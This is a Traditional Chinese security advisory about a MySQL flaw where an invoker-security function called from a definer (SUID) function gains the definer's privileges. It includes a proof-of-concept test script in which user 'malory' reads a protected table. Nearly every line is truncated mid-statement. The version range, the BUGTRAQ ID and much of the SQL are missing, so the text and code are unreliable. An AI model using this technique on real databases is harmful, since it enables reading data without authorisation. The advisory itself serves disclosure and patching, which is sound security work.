受影響系統
MySQL AB MySQL <=
描述
BUGTRAQ ID:
MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統
在MySQL上
此外
測試方法
【警 告
$ mysql
Enter password:
Welcome to the MySQL monitor
Your MySQL connection id is
mysql> create database another;
ERROR
mysql> create database sAmple;
Query OK
drop database if exists mysqltest
drop database if exists mysqltest
drop function if exists f_suid;
# Prepare playground
create database mysqltest
create database mysqltest
create user malory@localhost;
grant all privileges on mysqltest
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return
grant execute on function test
use mysqltest
# Create table in which malory@localhost will be interested but to which
# he won
create table t
connect (malcon
# Correct malory@localhost don
select * from mysqltest
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest
return
end|
delimiter ;|
# Again correct
select f_evil();
select @a
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer
select test
select @a
connection default;
drop user malory@localhost;
drop database mysqltest
drop database mysqltest
建議
廠商補丁
目前廠商已經發布了升級補丁以修復這個安全問題
From:http://tw.wingwit.com/Article/program/MySQL/201311/29307.html